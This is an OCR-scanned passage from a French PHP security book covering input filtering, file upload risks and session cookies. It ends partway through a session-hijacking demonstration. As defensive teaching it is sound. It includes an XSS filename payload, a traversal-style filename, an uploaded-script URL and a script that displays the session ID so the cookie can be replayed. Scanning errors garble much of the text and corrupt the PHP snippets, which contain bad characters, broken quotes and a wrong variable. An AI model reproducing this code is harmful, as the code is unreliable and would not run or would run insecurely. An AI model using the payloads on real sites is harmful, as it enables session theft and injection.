données entrantes, avant méme que le script PHP ne soit exécuté. Par défaut, cette direc-
tive utilise le filtre UNSAFE_RAW, qui signifie littéralement DANGEREUX_BRUT. C'est lefiltre qui
ne filtre rien. Cette valeur est choisie pour assurer la compatibilité ascendante de PHP
avec les versions d’ applications qui ne sont pas capables de prendre en charge filter.

Evidemment, il est recommandé d’ utiliser d’ autres valeurs pour cette directive. |l faut alors
passer en revue laliste des options disponibles pour choisir la plus adaptée a votre applica
tion. filter_sanitize_string est probablement lavaleur la plus intéressante : elle supprime
les balises et tous les caractéres spéciaux. D’autres, telles que filter_sanitize_int, qui
convertit toutes les données en entier, N’ auront que des applications trés spécifiques.

filter est une extension récente. Elle est maintenant intégrée dans la distribution stan-
dard de PHP et est appelée a jouer un role important dans la sécurité des applications
PHP. 1l est recommandé de I’ intégrer autant que possible dans |es applications.

PEAR_Validate

Jusqu’ a présent, les données validées ont des formats trés simples, utiles aux informati-
ciens et a beaucoup d’entre nous, mais dont le champ d’ application est parfois un peu
générique.

Il existe de nombreux formats de données dans le monde professionnel : certains sont
standardisés, d’autres sont des normes. C’est la que PEAR vient a la rescousse, avec le
paquet validate. Ne confondez pas validate avec PEAR_Validate, qui est un paguet utile a
lagestion de PEAR.

Ce paquet est une classe PHP qui donne acces a des fonctions de validation de haut
niveau. Le paquet frangais propose ainsi des fonctions pour valider le code postal, un
RIB, un SSN, un numéro SIREN et SIRET, ainsi que les départements francais. Voici un
exemple d' utilisation :

<?php
ini_set('include_path',ini_get('include_path').":/usr/Tib/php/"');
include('/usr/1ib/php/Validate/FR.php');

$v = new Validate_FR();

if ($v->postalCode('75010"')) { print 'Code postal valide'; }

I



Risques liés aux applications web
54
PARTIE 1

Il'y ades paquets pour de nombreux pays, qui rendent disponibles beaucoup de régles de
validations.

Le télechargement de fichiers

Dans la gestion des formulaires, les fichiers représentent I’ extension naturelle des varia-
bles. Certains formats de fichiers, comme les images, sont a la fois encombrants et peu
naturels a manipuler sous forme de copier-coller. Il fallait un mécanisme particulier pour
gérer I’envoi d'un fichier entier sur un serveur web et PHP s'est toujours montré a la
hauteur pour cette téche.

Les applications sont nombreuses : la plus populaire est sans conteste la galerie d' images,
qui publie des albums photo en ligne. Il y a aussi les sites d’' échange de fichiers, qui
exploitent desfichiersalant jusqu’a 300 Mo.

Du point de vue de la sécurité, le chargement de fichier sur un serveur web est un
probléme épineux, mais dont les aspects les plus difficiles sont les moins apparents. Le
chargement de virus ou de chevaux de Troie sur un serveur web est souvent cité comme
un risque de sécurité, alors que les images GIF ou des scripts PHP peuvent se révéler
bien plus destructeurs.

Comment les fichiers sont envoyés sur le serveur

Figure 3-1

Fichier importé dansle

Le chargement de fichiers se fait al’aide d’' une balise relativement mal connue dans les
formulaires:

<form action="http://localhost/upload.php" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
<input type="file" name="fichier" />
<input type="submit" name="envoyer" />

</form>

Ceformulaire va s afficher comme sur lafigure 3-1.

(Browse... | [ Submit Query L)

formulaire

Lorsque le formulaire est soumis, le navigateur envoie le fichier au serveur web. PHP |e
recoit et prépare les informations dans le tableau superglobal §_FILES.

Ce dernier contient les informations suivantes :

* §_FILES['fichier'1['name'] : le nom original du fichier, tel qu'il apparait sur la machine
du client web.
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* § FILES['fichier']['type'] : letype MIME du fichier, quand le navigateur afourni cette
information. Par exemple, celapourraétre”image/gif". Cetype MIME n’ est cependant
pas vérifié du coté de PHP et, donc, ne prend pas sa valeur pour se synchroniser.

$_FILES['fichier'1['size'] : lataille, en octets, du fichier téléchargé.

e $_FILES['fichier'I["tmp_name'] : le nom temporaire du fichier qui sera chargé sur la
machine serveur.

* § FILES['fichier'1['error'] : Un message d'erreur éventuel.

Au moment ou PHP est appelé pour exécuter le script, le fichier est arrivé et stocké
temporairement sur le serveur web. Il est ala disposition de PHP pour étre traité. Il est
généralement placé dans un dossier temporaire, tel que /tmp. Laresponsabilitéincombe a
PHP de savoir s'il veut conserver le fichier ou non.

En fait, les problémes de sécurité ont commencé bien avant.

La taille des fichiers

Le premier probleme qui peut survenir tient directement dans la taille des fichiers qui
sont transmisaPHP. |1 y aplusieurs moyens de limiter cettetaille, avec une efficacité tres
variable.

MAX_FILE_SIZE

Le premier moyen pour limiter la taille du fichier est d'utiliser la balise cachée
MAX_FILE_SIZE, en lui précisant une taille maximale, exprimée en octet. Dans |’ exemple
précédent, lataille du fichier est limitée sur le client & 30 000 octets, ' est-a-dire un petit
fichier d' environ 30 ko.

Comme toujours pour une validation placée du coté du navigateur, il est tresfacile de la
contourner. Elle sert effectivement alimiter un utilisateur |égitime et lui indiqueraimmé-
diatement que son fichier est trop gros, avant méme de |’ envoyer au serveur. Cela fait
autant de travail en moins sur le réseau et pour le serveur.

Du point de vue de la sécurité, ¢’ est une protection faible, car il suffit de supprimer cette
balise du formulaire pour lever la défense : en recopiant le formulaire, en utilisant des
extensions de débogage pour FireFox ou encore si le navigateur ignore simplement cette
balise.

upload_file

Une autre protection, du coté du serveur cette fois, est la directive upload_file, de php.ini.
Elle configure simplement la capacité de PHP a accepter ou pas |es téléchargements de
fichiers. Si elle est réglée a off, comme C'est le cas par défaut, les fichiers téléchargés
sont ignorés et $_FILES n'est pas rempli. C'est évidemment la sécurité maximale et s
votre site ne requiert aucun téléchargement de fichiers, il est recommandé de ne pas
I activer.
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Si vous souhaitez mettre en place le téléchargement de fichiers, PHP vous propose une
autre directive de protection : max_upload_size. Sa valeur par défaut est de 2 Mo. Les
bonnes pratiques recommandent de lalaisser aussi faible que possible.

Il faut savoir que max_upload_size dépend aussi dememory_1imit, qui configure la quantité
totale de mémoire et de max_post_size, qui configure lataille totale des données pouvant
étre envoyées viala méthode posT. La pratique est la suivante :

Memory_Timit >= max_post_size >= max_upload_size

Voyez la section sur la configuration PHP pour mieux choisir les valeurs de ces directi-
Ves.

Les formats de fichiers

Lapremiére chose afairelorsdelaréception d’' unfichier est de valider son format. |l faut
savoir gque le navigateur se fie uniquement a I’ extension du fichier pour indiquer e type
MIME qui arrive : un fichier PHP, qui est baptisé avec une extension d’'image PNG, est
indiqué par e navigateur comme une image. Cela serefléte dans le tableau s_FILES :

Array
(
[fichier] => Array
(

[name] => script.php.png
[typel => image/png
[tmp_name] => /var/tmp/phpnFlulg
[error] => 0
[size] => 651

)

Comme letype MIME est fourni par le navigateur, il estimpossible des'y fier. Le 'type"
indiqué danslavariable $_rILES doit étreignoré. On ne peut pas non plus sefier al’ exten-
sion du fichier chargé.

Comme pour les variables, il faut valider le format du fichier. Et, pour cela, il faut un
systéme de validation complémentaire, adapté au format de fichier attendu.

Par exemple, getimagesize() est capable de décoder le contenu pour connaitre certaines
informations sur I'image sans|’ ouvrir. Cette fonction travaille sur le contenu du fichier et
non pas sur |’ en-téte. Elle est fiable pour déterminer le bon format de fichier et ne dépend
pas de la distribution ou de la présence d’ une bibliothéque externe.

<?php
var_dump(getimagesize("fichier.xyz")) ;
var_dump(getimagesize("autre.xyz")) ;
>
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array(6) {
[01=>
int(16)
[11=>
int(16)
[21=>
int(3)
[31=>
string(22) "width="16" height="16""
["bits"I=>
int(8)
["mime"]=>
string(9) "image/png"
}
bool(false)

Dans ce script, le premier fichier a été reconnu comme une image, maisle second n’apas
€té reconnu du tout. getimagesize() gére un certain nombre de formats: GIF, JPEG,
PNG, JPC, JP2, JPX, JB2, XBM, WBMP, JPEG 2000, SWC et TIFF.

Extension fileinfo

Pour tester les autres formats, il faudra utiliser d’ autres techniques. La meilleure approche
est celle de I’ extension fileinfo de PHP. Elle analyse le fichier et recherche différentes
caractéristiques de formats et des données particuliéres a différents endroits du fichier
pour en déduire un type MIME.

<?php

$finfo = finfo_open(FILEINFO_MIME);

echo finfo_file ($finfo, $_FILES['fichier']['tmp_name']l);
finfo_close($finfo);

(o

L’ approche de fileinfo est plutdt slire : ¢’ est bien la structure du fichier qui est analysée.
A aucun moment I’ extension n’ essaie de se servir du fichier pour I’ ouvrir ou I’ exécuter.
Certes, il est possible de formater un fichier pour qu’il passelescritéresde fileinfo, mais
c'est trés difficile et le résultat ne sera peut-étre pas utilisable pour en faire autre chose.

Malheureusement, fileinfo N'est pas encore disponible sur tous les serveurs. L’ extension
est expérimentale et disponible sur le site de PECL. Espérons qu’ elleretiendral’ attention
des dével oppeurs PHP prochainement.

Autres formats

Pour les autres formats de fichiers, il est recommandé de vous munir d' utilitaires qui permet-
tent devaider I'intégrité d’ un fichier, ou bien d' utiliser les spécifications du format desfichiers
gue vous recevez pour valider le contenu. Le sitede fileinfo (http://www.fileinfo .net/)
contient des descriptions de centaines d’ extensions defichiers, ainsi que des liens versleurs
spécifications. Vous pourrez y puiser des informations précieuses pour mieux comprendre
les fichiers que vous manipulez.


http://www.fileinfo.net
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Les noms de fichiers sont également vulnérables

Il est généralement bien compris que le format du fichier attendu doit étre validé. Cepen-
dant, il faut bien avoir en téte que le nom du fichier lui-méme peut étre une source de
vulnérabilité. Il y adeux raisons acela: la compatibilité avec votre systéme et les injec-
tions XSS.

Caracteres interdits

Avec le Web, les fichiers qui sont chargés sur votre serveur proviennent de différentes
sources et systémes d' exploitation. La beauté du web fait que vous pouvez ignorer géné-
ralement |les systemes d’ expl oitation que vos visiteurs utilisent pour se connecter a votre
serveur. Néanmoins, lors de laréception de fichiers, il est tempsd'y préter attention.

Lavariable $_FILES['fichier'1['name'] contient le nom du fichier original. Ce nom satis-
faisait les contraintes du systéme d' origine, mais pas forcément celles du systéme sur
lequel vous le recevez. Notamment, Windows utilise la barre oblique inverse (ou slash) \
comme séparateur de dossiers, alors que Linux utilise la barre oblique /.

Le probléme survient lors de la sauvegarde du fichier téléchargé. Pour conserver le
fichier chargé sur le serveur, il faut en faire une copie, ou le déplacer depuis son dossier
temporaire vers un stockage permanent. Pour cela, il est fréguent de voir les applications
web utiliser le nom original du fichier comme nom de stockage.

<?php

/lpremieres validations

move_uploaded_file($_FILES['fichier']['tmp_name'], '/stockage/permanent
= /' $_FILES['fichier'I['name'] );

k>

Sous Linux, si le nom original du fichier contenait un /, comme ceci :
partie/partie2.txt

alors la sauvegarde ne se fera pas dans le dossier /stockage/permanent/, mais dans
/stockage/permanent/partie/.

Outre les problémes avec les barres obliques, d autres caractéres peuvent perturber le
systéme, comme le caractére nu11, les espaces ou les caractéres invisibles.

La taille des noms de fichiers

Le probléme se pose aussi au niveau de la taille maximale du nom de fichier. Comme le
nom du fichier d origine est fourni par le navigateur, il peut étre aussi long que voulu et
le protocole HTTP n’indique aucune limite. Vous pourriez recevoir un nom de fichier
bien trop long pour votre systeme.

Par exemple, le client vous envoie un fichier dont le nom fait 257 caractéres, alors que
votre systéme n’ en accepte que 255. Unerapide recherche avec file_exists () vousindi-
guera que le systéme ne contient aucun fichier du méme nom que celui qui est regu :
file_exists()retourne false i lefichier n’existe pasou si une erreur est rencontrée.
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<?php
$fichier = str_repeat('a', 257);

if (file_exists($fichier)) {
print 'Le fichier existe déja’';
die();
} else {
print 'On peut stocker le fichier';
}

// écriture du fichier

$fp = fopen($fichier, 'wt+');
fwrite($fp, 'a') ;
fclose($fp);

if (file_exists($fichier)) {

print 'Le fichier a pu étre créé';
} else {

print 'Le fichier n\'a pas pu étre créé : une erreur de sauvegarde est survenue.';
}

7>

Le code ci-dessus n’interprete pas correctement le retour de lafonction file_exists() :
cette derniére retourne false non pas parce que le fichier n’existe pas, mais bien parce
gue le nom du fichier est trop grand. Ce qui est valable sur un systeme d’ exploitation
N’ est peut étre pas valable sur le votre.

Injections HTML par nom de fichiers

Nous avons déja vu que les injections HTML tentent de placer une balise HTML dans
une page web. Pour cela, leur but est de faire entrer des caractéres tels que < et > dans
I"application.

Or, les systemes de fichiers modernes n’ ont pas les mémes contraintes de présentation
gu’ une page web. |l est donc facile d utiliser les caractéres < et > dans un nom de fichier.

Souvent, apres chargement, le nom du fichier est affiché pour indiquer le succés de I’ opéra
tion. Au pire, le nom du fichier sera réutilisé lorsque I’ application listera le contenu du
dossier de chargement a I’administrateur. Si le nom du fichier chargé n’a pas éé validé,
comme n'importe quelle autre variable, aors cela engendre une injection XSS,

Ainsi, plusieursvieilles versions de logiciels, comme certaines versions de mambo CM S,
utilisaient cette instruction pour afficher une erreur de téléchargement ou bien le nom du
fichier unefois chargé:

print $_FILES['file']I['name'];
s lefichier d’ origine portait le nom de :

<script src="xss.js">
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Alorsil y auneinjection de code.

Bien protéger ses noms de fichiers

A ce stade, vous aurez bien compris qu'il est important de ne pas utiliser le nom du
fichier d’ origine comme nom de stockage sur votre systéme.

Pour éviter tout probléme et conserver malgreé tout le nom d' origine pour I’ utiliser plus
tard, lorsque I’ utilisateur en aura & nouveau besoin, il faut stocker le nom d’ origine dans
un stockage séparé et fournir un nom unique vous-méme.

<?php
/I aprés validation des fichiers
$nom_tmp = md5($_FILES['fichier'I['name']) ;
$fp = fopen('liste.txt', 'a') ;
$sauve_nom = fwrite($fp, $_FILES['fichier'I['name"']."\t $nom_tmp\n") ;
fclose($fichier) ;
if ($sauve_nom != 0 && move_uploaded_files($_FILES['fichier']['tmp_name'],
= '/stockage/permanent/'.$nom_tmp) ) {
print htmlentities($_FILES['fichier']['name'], ENT_COMPAT, 'IS0-8859-1"). "
=3 bien été chargé. "
} else {
print 'Un probléme est survenu durant Ta sauvegarde du fichier
=' htmlentities($_FILES['fichier']['name'], ENT_COMPAT, 'IS0-8859-1") ;
}
7

En utilisant la fonction MD5, vous étes certain qu'il n'y aura aucun caractére qui vous
géne dans le nom de stockage du fichier. De plus, il est fort peu probable que vous ayez
des doublons de fichiers, car MD5 produit exceptionnellement des valeurs identiques a
partir de valeurs distinctes.

Savoir gérer les fichiers recus

Avant méme d’ en regarder le contenu, il y a plusieurs aspects a prendre en compte avec
les fichiers qu’ on manipule.

Nombre de fichiers dans un dossier

PHP se charge de limiter lataille d' un fichier lors du téléchargement. En revanche, il n'y
a pas de limite au nombre de fichiers dans un dossier. Méme un disque dur de 200 Go
finira par étre rempli si on charge de nombreux fichiers de 2 Mo.

Pour e bon fonctionnement d’ une application web, il est donc recommandé de bloquer le
service de chargement, une fois qu’ un nombre significatif de fichiers a été chargé.

<?php

if (count(scandir('/stockage/permanent/')) > 2000) {
print 'Par suite d\'une forte affluence, nous avons momentanément interrompu
=71e chargement de fichiers.' ;
die() ;

}

”
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<form action="http://1ocalhost/upload.php" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
<input type="file" name="fichier" />
<input type="submit" name="envoyer" />

</form>

Vous pouvez aussi limiter le dossier de chargement a une taille cumulée maximale, au
lieu de compter simplement le nombre de fichiers qui sont rangés dedans. Pour cela, il
faudra commencer par mesurer la taille du dossier, a I’aide de la fonction filesize()
appliquée a chaque fichier.

Au niveau systéme, il est recommandé de placer les fichiers en attente de validation dans
une partition indépendante, avec une taille limitée. De cette maniére, les fichiers chargés
ne pourront pas utiliser toute la capacité du disque et perturber le reste de |’ application.
Unefoisla partition remplie, les chargements ne seront plus possibles.

Tempéte de petits fichiers

Une technique de déni de service comparable au systéme précédent consiste a charger
des centaines de petits fichiers sur le serveur web. S'il y a une limite de stockage par
nombre de fichiers dans |e dossier, cela pourra rapidement bloquer les fonctionnalités du
site et le mettre en berne.

Latempéte de petits fichiers vise a bloquer le systéme en le bourrant d’ un grand nombre
de petites requétes. Desimages GIF d’ un seul pixel coltent quel ques octets a envoyer sur
le réseau, mais occuperont un bloc complet de disque dur de plusieurs kilo-octets.

Cette technique fonctionne surtout si un mécanisme de modération a été misen place. Le
modérateur peut aors étre facilement appel € a venir purger régulierement une file inutile
defichiers.

Pensez a mettre une taille minimale aux fichiers qui sont chargés.

Ecrasement de fichiers

Lorsdu déplacement d' un fichier en vue de son stockage, assurez-vous qu’il n’existe pasde
fichier préexistant ayant le mémenom. Lafonction file_exists() réaise cetest facilement.

Sans cela, vous courrez le risque d écraser un fichier déja chargé et diment modéré par
un fichier nouvellement chargé et contenant des informations qui ne satisfont pas votre
charte. Il serait aussi possible d'écraser un fichier Iégitime, tel qu'un autre script,
index.php ou encore un fichier systéme comme /etc/passwd.

<?php
if ( !file_exists('/stockage/permanent/'.$nom_tmp) && move_uploaded_files($_FILES
=['fichier']['tmp_name'], '/stockage/permanent/'.$nom_tmp) ) {
print htmlentities($_FILES['fichier'I['name']l, ENT_COMPAT, 'IS0-8859-1'). "
=3 bien été chargé. "
} else {
print 'Un probléme est survenu durant Ta sauvegarde du fichier
= ' htmlentities($_FILES['fichier'I['name']l, ENT_COMPAT, 'IS0-8859-1") ;
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Modération

Lamodération est le dernier rempart entre un contenu de mauvais godt et sa publication
sur votre site. Elle consiste a mettre n’importe quel fichier qui vient d’ étre chargé en
quarantaine, dans un dossier hors Weh. De cette maniére, le fichier n’est pas accessible
depuis I’ extérieur et cela laisse le temps au modérateur de venir |’ examiner, ou simple-
ment le valider manuellement. Parfois, la modération est la seule solution pour protéger
une application web contre le contenu indu.

Il existe des outils pour effectuer des préclassements automatiques. La technique la plus
classique est la recherche de mots interdits (liste noire). 11 existe aussi des techniques de
filtres bayésiens en PHP, (chez IBM, « Implement Bayesian inference using PHP »,
http://www-128.1bm.com/developerworks/web/1ibrary/wa-bayes1/), pour identifier automa-
tiguement des spams al’ aide d’ un entrainement.

On peut également signaler la classe imagenudityfilter, de Bakr Alsharif, distribuée par
PHPclasse.org. Elle propose notamment d'indiquer si une image contient de lanudité ou
pas. Elle se base sur les couleurs utilisées dans I'image pour établir un indicateur.

Quoique trés utile pour gérer de forts volumes, ce type d outils doit rester une aide, afin
de ne pas classer certains cas limites trop rapidement.

Les types de fichiers

Les types de fichiers chargés sur le serveur sont cruciaux pour la sécurité de ce dernier.
Nous avons vu plus haut que le format était un indicateur important. Toutefois, un virus
dans une archive aura un format valide, mais un contenu a proscrire. Voyons les types de
données les plus dangereux pour les applications web.

Virus et exécutables

Les virus et les programmes exécutables figurent clairement en téte de liste des fichiers
les plus dangereux, au moins aux yeux du commun des mortels.

Evidemment, ce type de fichier est dangereux. |1 suffit qu’un virus soit chargé et exécuté
Sur un serveur pour que ce dernier soit pris en otage. Toutefois, si le chargement d'un
virus est facile, son exécution est plus complexe.

Par défaut, lesfichiers arrivent avec des droits de lecture, maisjamais de droits d’ exécution.
Ensuite, le serveur web est souvent configuré pour avoir un niveau de droits faible sur
serveur, en dehors des fichiers qu'il publie. Il faut donc que I’ administrateur du serveur
allevair lui-méme une piécejointe et sedise, al'instar de nombreux utilisateurs de client de
messagerie « tiens, ¢’ est intéressant, voyons ce que celafait quand on |’ exécute ».

Lesvirus doivent d' ailleurs étre nettoyés en utilisant un antivirus, que ce soit un programme
externe ou bien une extension de PHP: I’extension clamav (http://www.phpclamavlib.org/)
utilise la bibliothéque de I’ antivirus ouvert et libre c1amav (http://www.clamav.net/) pour
analyser et nettoyer desfichiers.


http://www-128.ibm.com/developerworks/web/library/wa-bayes1/
http://www.phpclamavlib.org/
http://www.clamav.net/
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Si vous n'utilisez pas d'antivirus intégré a PHP, vous pourrez slrement utiliser une
commande du systéme externe pour appeler un tel antivirus.

Bibliothéques

Les bibliothégques externes, telles que les .so d'Unix ou les .d11 de Windows, sont une
autre source de probléme courant. Une fois cesfichiers chargés sur le serveur, il est possi-
ble de les exécuter via PHP, al’aide de lafonction d1(), qui charge dynamiquement une
bibliothéque.

La meilleure parade contre ce type de probléme est d'interdire la fonction d1(), ce qui
serafait par défaut, pour les versions web de PHP 6.

Scripts PHP

En fait, le pire danger dans le cadre des chargements de fichiers est le chargement de
script PHP. En effet, pour exécuter un script PHP sur un serveur, il suffit que ce dernier
soit sur le serveur, et posséde les droits de lecture. Les droits d’ exécution sont I’ apanage
du serveur web et il suffit que ce dernier soit capable d accéder au fichier pour qu'il
S exécute avec les mémes droits que I’ auteur du site.

Aprés chargement du fichier sur le serveur web, si ce dernier est accessible depuis |’ exté-
rieur avec une URL prédictible, alorsil devient possible d'injecter du code PHP sur un
site. Admettons que les fichiers soient chargés dans le dossier /upload/, souslaracine du
site. En pratique, lesfichiers chargés portent le nom du fichier d’ origine, il suffit maintenant
d' utiliser cette adresse pour exécuter un script :

http://www.site.com/upload/pirate.php
Pour se protéger contre le chargement de script PHP, il existe plusieurs techniques :

e Le dossier hors web : s le dossier de chargement est hors de la racine web, cela
empéche les acces externes aux fichiers qu'il contient.

e Lesextensions neutres : un serveur web choisit de passer un fichier a PHP ou pas en
fonction de son extension. Donnez une extension neutre au fichier.

» Changez le nom du fichier chargé le temps de sa modération.

Des extensions interdites

Une autre solution possible est de configurer une extension de fichier au niveau du
serveur web, de telle fagon qu’ elle ne soit jamais publiée par le serveur.

Par exemple, ¢’ est le cas par défaut des fichiers qui sont préfixés par un point « . » avec
Apache. Vous pouvez reprendre cette configuration pour créer votre propre extension
interdite de publication :

<Files ~ "\.cache$">
Order allow,deny
Deny from all
Satisfy A1l
</Files>
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Figure 3-2 -

Acces interdit a un fichier Forbldden

lorsque son extension

N’ est pas correcte You don't have permission to access /info.php.cache on this server.

Apache/1.3.33 Server at tutoriel-php.local Port 80

Cette interdiction intervient avant que le fichier ne soit réellement recherché sur le
serveur : ainsi, que le fichier info.php.cache existe ou non sur le serveur web, le méme
message apparait. Cela évite d'indiquer I’ existence du fichier sur le serveur, méme s'il
n’est pas publiable.



Cookies et sessions

Les cookies et | es sessions sont destinés a conserver entre deux requétes ou deux sessions
des informations concernant I'internaute afin de faciliter sa navigation. Il est bien
entendu nécessaire de garantir la confidentialité et le bon usage de ces données qui, par
nature, sont trés vulnérables.

Les cookies

Les cookies, aussi appelés témoins, sont sirement les plus mal aimés du Web. Les utili-
sateurs les regardent d'un air méfiant, car ils permettent de les marquer pour mieux les
suivre: fini I’anonymat. Par ailleurs, les webmestres les prennent avec des pincettes, car
leur niveau de sécurité est faible : il est trop facile de modifier leur valeur ou d'interdire
leur utilisation.

Présentation des cookies

Les cookies sont un mal nécessaire pour satisfaire un besoin criant du Web : e manque
d'état. Le protocole HTTP est sans état, ¢’ est-a-dire que le serveur ne conserve aucun
lien entre deux sollicitations d’ une méme source. Chague requéte au serveur est considé-
rée comme indépendante de toutes | es autres. Cette philosophie permet un gain de perfor-
mance important au niveau du serveur : ce dernier ne fait que servir les pages, sans assurer
de cohérence dans les visites.

Evidemment, cela pose un défi aux programmeurs : comment conserver desinformations
sur un visiteur entre deux clics ? Au-dela de la page web, il y ala notion de visite, ou
encore de session de travail : ¢’ est toute la séquence de pages enchainées par un visiteur
unigque. Que ce soit pour une étude de comportement ou par sécurité, cette information
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est vitale. De plus, on ne peut pas envisager de demander une authentification par mot de
passe a chaque sollicitation du serveur, puisgue cette demande elle-méme requiert une
page entiére...

Les cookies ont donc été inventés pour régler ce type de probléme. Voyons comment ils
fonctionnent.

Comment fonctionnent les cookies

L es cookies sont créés par le serveur, gréce a l’ en-téte de réponse Set-cookie. ENn PHP,
c’'est lafonction setCookie qui Se charge de cela. Lorsque le navigateur sollicite la page,
cet en-téte est gouté dans laréponse.

Si le navigateur accepte le cookie, ce dernier serarenvoyé au serveur a chaque requéte, a
I’aide de |’ en-téte cookie. Si le cookie contient une valeur unique au monde, ou au hiveau
de I’ application, alors le visiteur est identifié de maniére distincte par rapport a tous les
autresvisiteurs qui utilisent le site a ce moment-la. C’ est grace a cette caractéristique que
PHP est maintenant capable de conserver un état du coté du serveur.

Notez que les cookies permettent de faire la différence entre deux navigateurs, mais pas
I"identification du visiteur : il y aune petite nuance entre les deux. L e cookie est posé par
le serveur, qui le récupére a chaque sollicitation du site. Le serveur peut donc affirmer :
c’'est le navigateur a qui j’avais confié la valeur xyz. Cependant, pour relier ce cookie a
I"identité de M. Dupond, il faudra de nombreuses autres opérations de la part du serveur.

Utilisation pratique des cookies

Les cookies peuvent étre utilisés de deux maniéeres différentes. La premiére est de s'en
servir comme préférence et la seconde comme identifiant unique.

Cas du cookie de préférence

Le cookie de préférence est simplement I’ enregistrement d’ une valeur choisie par I’ utili-
sateur, qui servira de configuration personnalisée lors de I’ utilisation ultérieure du site.
Par exemple, si votre site est décliné en différentes langues, vous pouvez donner le choix
avotre utilisateur de sélectionner celle qu'il souhaite et la stocker dans un cookie. Les
cookies sont parfaits pour ce type d’ application.

Attribuez une valeur par défaut au cookie, pour que I’ absence de ce dernier ne perturbe
pas le fonctionnement du site. Puis, faites choisir lalangue a votre utilisateur. Lors de ses
prochaines visites, vous devrez reprendre cette valeur pour faire charger les bonnes
feuilles de style.

Dans le cas des cookies de préférence, il est recommandé de procéder par liste blanche.
Le cookie doit disposer d’' une valeur qui est enregistrée dans une liste, également appel ée
dictionnaire. Par exemple, si ¢'est lalangue du site qui doit étre choisie, alors vous aurez
une liste de langues disponibles. Si lalangue demandée par le cookie n’ est pas dans cette
liste, alors utilisez lavaleur par défaut.
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Si vous ne pouvez pas procéder par liste blanche, comme dansle casd un login d' utilisa-
teur, alorsil faut que lesinformations soient faciles aignorer sans perte de fonctionnalité.
Conserver le login d'un utilisateur dans un cookie représente un confort d' utilisation :
celalui évite dele saisir anouveau lorsgu’il tente de se connecter. Si le login est incorrect,
ou contient des caractéres d'injection, alorsil est toujours possible d annuler I utilisation
de lavaeur du cookie, d' afficher une erreur de type « login incorrect » et un formulaire
vide pour recommencer & zéro. De cette maniére, la sécurité de I’ identification peut étre
facile a mettre en place, sans vraiment géner |’ utilisateur.

A I'inverse, conserver les coordonnées complétes d’'un client a I'aide de plusieurs
cookies ne simplifie pas beaucoup sa téche, étant donné qu’un site web ne demande
gueére plus d’ une seule fois ces informations. Et lors des demandes ultérieures, il ne sera
pas facile de vérifier que ces données n’ ont pas été atérées, d’une maniére ou d' une autre,
ou méme rendues obsolétes. |1 faudra donc repasser par une vérification aupres de |’ utili-
sateur, voire par la saisie compléte. En bref, non seulement des données critiques auront
été stockées dans un mécanisme peu sir, mais en plusil faudra recommencer |’ opération
presque certainement.

Cas du cookie de session

L’autre utilisation des cookies concerne uniquement la session. Ici, le cookie ne porte
plus d'informations par lui-méme, mais il permet a PHP de retrouver des données
personnalisées dans un dépdt de données sur le serveur. C’ est exactement le principe de
fonctionnement des sessions de PHP et il en existe d’autres applications, comme les
formulaires a usage unique.

Lorsgue vous démarrez une session PHP, ce dernier produit un identifiant de session,
sous forme d' une chaine de 32 chiffres hexadécimaux. Cet identifiant ne contient aucune
information utile au webmestre ou au visiteur du site. Son objectif est d'étre unique et
distinct de tous les autres identifiants qui sont utilisés sur le serveur. Cela permet a PHP
de créer un fichier de stockage, rangé par défaut dans le dossier /tmp/ : le fichier porte
alorsle méme nom que son identifiant. C'est dans cefichier qu'il vaenregistrer les variables
de sessions, qui sont particuliéres au visiteur courant.

Avec cette technique, PHP dépasse donc les problémes de capacité que I’ on rencontre
avec les cookies : un fichier sur le serveur peut contenir autant de données que I’ on veut.
Commetoujours, il faut rester raisonnabl e avec |a quantité des données qui sont stockées,
mais en comparai son avec les 20 cookies de 4 ko maximum, les sessions ont des limites
gui sont bien plus éevées.

En termes de sécurité, le cookie de session a surtout un but : faire la relation entre un
utilisateur et les données associées sur le serveur. La génération des identifiants est suffi-
samment aléatoire et travaille sur un ensemble de valeurs assez grand (Ile nombre de
possibilités est de 32 puissance 16) pour que deux internautes n’aient raisonnablement
aucune chance d obtenir le méme. Dans I’ absolu, ¢’ est possible, mais en pratique, cela
n'arrive jamais : il faudrait un trafic inhumain sur votre serveur. Si cela arrive, vous aurez
bien d’ autres problémes avant celui des identifiants de sessions.
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Pourquoi voler des cookies ?

Le cookie semble a priori inoffensif ; petit, échangé uniquement entre le serveur et le
client, il est difficile de|’imaginer comme vecteur de vulnérabilité. Méme en placant des
centaines de cookies sur un navigateur, vous seriez loin de saturer la machine du client ;
au pire, vous ralentiriez un peu ses communications avec le serveur.

En fait, parmi les deux types d’ utilisation des cookies que nous avons vus précédemment,
c'est le deuxiéme qui est lacible du vol. En effet, comme on part de I’ hypothese qu'il est
impossible que deux utilisateurs obtiennent par hasard deux fois le méme identifiant de
session, les applications supposent généralement que le simple fait de présenter un
cookie est suffisant pour identifier un utilisateur.

Unefois ce principe mis en place, toute la sécurité des données est reportée entiérement
sur le cookie de session. 11 suffit de voler le cookie d'un utilisateur et de le présenter au
site web pour pouvoir usurper son identité sur le site. La valeur du cookie a autant
d’importance que les données qu’il représente sur le serveur, méme si on ne peut pas les
atteindre directement.

Faites |’ essal tout simple avec ce petit script :

<htm1>
<head><title>Vol de cookies</title></head>
<body>

<?php
session_name('securite');
session_start();

if (isset($_POST['nom'])) {
$_SESSIONL"nom"] = $_POST['nom'];
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}

if (isset($_SESSIONL"nom"1)) {
print "<p>Bonjour {$_SESSION['nom'l} : vous utilisez 1'IP : {$_SESSION['ip'I1}</p>";
print "<p>La session actuelle utilise le cookie &quot;".session_name()."&quot; avec
=7a valeur &quot;".session_id()."&quot; </p>";

}

”

<form action="cookie_vol.php" method="post">
Votre nom : <input type="text" value="" name="nom" /><br />
<input type="submit" value="0K" name="envoi" />

</form>

</body>
</html>

A lapremiére visite, indiquez votre nom dans ce formulaire. Aprés soumission et validation
du nom saisi, I application vous affiche ce que vous avez entré. Vous pouvez retourner sur
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cette page quelques minutes apres, la machine vous reconnaitra encore. Par défaut, la
session PHP reste valide 15 minutes.

Aprés votre premiére visite et |'affichage correct de votre nom, prenez la valeur du
cookie qui est affichée sur la page. Elle ressemble a ceci :

La session actuelle utilise Te cookie "securite" avec Ta valeur
= "vbamg5ac9f24rprpbgh6obaup5”

Prenez un autre navigateur, ou méme une autre machine. Utilisez le script ci-apres, en
remplagant la valeur du cookie par celle que vous avez lue dans I’ autre navigateur.
Certains navigateurs vous permettent de modifier directement la valeur des cookies
